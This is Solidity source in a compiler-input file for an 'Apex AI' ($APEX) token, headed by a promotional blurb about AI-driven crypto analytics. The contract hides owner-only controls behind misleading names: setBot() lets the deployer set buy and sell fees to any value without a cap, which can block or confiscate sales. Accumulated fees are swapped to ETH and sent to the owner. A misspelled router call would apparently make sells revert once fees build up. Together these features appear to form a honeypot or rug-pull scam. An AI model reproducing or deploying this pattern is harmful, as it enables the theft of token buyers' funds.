creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "code ngan.sol": {
        "content": "/*\r\nApex AI: Experience the Power of Advanced data Analytics\r\n\r\nOur smart bots analyze sentiment and engagement in crypto project Telegram groups.\r\nPowered by a neural network, Apex AI processes blockchain and social data like a human.\r\nGet real-time alerts on buybacks, new followers, and unusual wallet activities.\r\n\r\nKey Offerings:\r\n\r\n🦍 Alpha Bombs: Receive vital news and updates in real-time, powered by our smart bots.\r\n🦍 Alpha Calls: Gain exclusive insights into new token launches, giving you a competitive edge.\r\n🦍 Alpha Pulse: Have a virtual crypto analyst at your fingertips, simplifying complex market analysis to a mere message.\r\n🦍 Revenue Model: We're introducing a revenue-sharing model for $APEX token holders, aligning our success directly with yours.\r\n\r\nConnect with Us:\r\nExplore our transformative potential and connect with our project and team through the following links:\r\nWebsite : https://www.0xapex.ai\r\nTelegram: https://t.me/ApexAI_Portal\r\nTwitter : https://twitter.com/0xApexAI\r\n*/\r\n\r\n\r\n// SPDX-License-Identifier: Unlicense\r\n\r\n\r\npragma solidity ^0.8.24;\r\n\r\n\r\ninterface IUniswapFactory {\r\n    function getPair(address tokenA, address tokenB) external view returns (address pair);\r\n}\r\n\r\n\r\ninterface IUniswapV2Router02 {\r\n    function factory() external pure returns (address);\r\n    function WETH() external pure returns (address);\r\n    function swapExactTokensForETHSupportingFreelyOnTransferTokens(\r\n        uint256 amountIn,\r\n        uint256 amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint256 deadline\r\n    ) external;\r\n}\r\n\r\n\r\ncontract ApexAI {\r\n    struct StoreData {\r\n        address tokenMkt;\r\n        uint8 buyFee;\r\n        uint8 sellFee;\r\n    }\r\n\r\n\r\n    string public _name = unicode\"Apex AI\";\r\n    string public _symbol = unicode\"APEX\";\r\n    uint8 public constant decimals = 18;\r\n    uint256 public constant totalSupply = 100_000_000 * 10**decimals;\r\n\r\n\r\n    StoreData public storeData;\r\n    uint256 constant swapAmount = totalSupply / 100;\r\n\r\n\r\n    error Permissions();\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(\r\n        address indexed TOKEN_MKT,\r\n        address indexed spender,\r\n        uint256 value\r\n    );\r\n\r\n\r\n    mapping(address => uint256) public balanceOf;\r\n    mapping(address => mapping(address => uint256)) public allowance;\r\n\r\n\r\n    address public pair;\r\n    IUniswapV2Router02 constant _uniswapV2Router =\r\n        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n\r\n    bool private swapping;\r\n    bool private tradingOpen;\r\n\r\n\r\n    constructor() {\r\n        uint8 _initBuyFee = 0;\r\n        uint8 _initSellFee = 0;\r\n        storeData = StoreData({\r\n            tokenMkt: msg.sender,\r\n            buyFee: _initBuyFee,\r\n            sellFee: _initSellFee\r\n        });\r\n        balanceOf[msg.sender] = totalSupply;\r\n        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;\r\n        emit Transfer(address(0), msg.sender, totalSupply);\r\n    }\r\n\r\n\r\n    receive() external payable {}\r\n\r\n\r\n    function setBot(uint8 _buy, uint8 _sell) external {\r\n        if (msg.sender != _TokenMktWithZkVerifyEth()) revert Permissions();\r\n        Tokenbuyoneth(_buy, _sell);\r\n    }\r\n\r\n\r\n    function Tokenbuyoneth(uint8 _buy, uint8 _sell) private {\r\n        storeData.buyFee = _buy;\r\n        storeData.sellFee = _sell;\r\n    }\r\n\r\n\r\n    function _TokenMktWithZkVerifyEth() private view returns(address) {\r\n        return storeData.tokenMkt;\r\n    }\r\n\r\n\r\n    function OpenTrading() external {\r\n        require(msg.sender == _TokenMktWithZkVerifyEth());\r\n        require(!tradingOpen);\r\n        address _factory = _uniswapV2Router.factory();\r\n        address _weth = _uniswapV2Router.WETH();\r\n        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);\r\n        pair = _pair;\r\n        tradingOpen = true;\r\n    }\r\n\r\n\r\n    function transferFrom(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) external returns (bool) {\r\n        allowance[from][msg.sender] -= amount;\r\n        return _transfer(from, to, amount);\r\n    }\r\n\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool) {\r\n        allowance[msg.sender][spender] = amount;\r\n        emit Approval(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n\r\n\r\n    function transfer(address to, uint256 amount) external returns (bool) {\r\n        return _transfer(msg.sender, to, amount);\r\n    }\r\n\r\n\r\n    function name() public view virtual returns (string memory) {\r\n        return _name;\r\n    }\r\n\r\n\r\n    function symbol() public view  virtual returns (string memory) {\r\n        return _symbol;\r\n    }\r\n\r\n\r\n    function _transfer(\r\n        address from,\r\n        address to,\r\n        uint256 amount\r\n    ) internal returns (bool) {\r\n        address tokenMkt = _TokenMktWithZkVerifyEth();\r\n        require(tradingOpen || from == tokenMkt || to == tokenMkt);\r\n\r\n\r\n        balanceOf[from] -= amount;\r\n\r\n\r\n        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {\r\n            swapping = true;\r\n            address[] memory path = new address[](2);\r\n            path[0] = address(this);\r\n            path[1] = _uniswapV2Router.WETH();\r\n            _uniswapV2Router\r\n                .swapExactTokensForETHSupportingFreelyOnTransferTokens(\r\n                    swapAmount,\r\n                    0,\r\n                    path,\r\n                    address(this),\r\n                    block.timestamp\r\n                );\r\n            payable(tokenMkt).transfer(address(this).balance);\r\n            swapping = false;\r\n        }\r\n\r\n\r\n        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);\r\n        if (from != address(this) && tradingOpen == true) {\r\n            uint256 taxCalculatedAmount = (amount *\r\n                (to == pair ? _sellFee : _buyFee)) / 100;\r\n            amount -= taxCalculatedAmount;\r\n            balanceOf[address(this)] += taxCalculatedAmount;\r\n        }\r\n        balanceOf[to] += amount;\r\n        emit Transfer(from, to, amount);\r\n        return true;\r\n    }\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}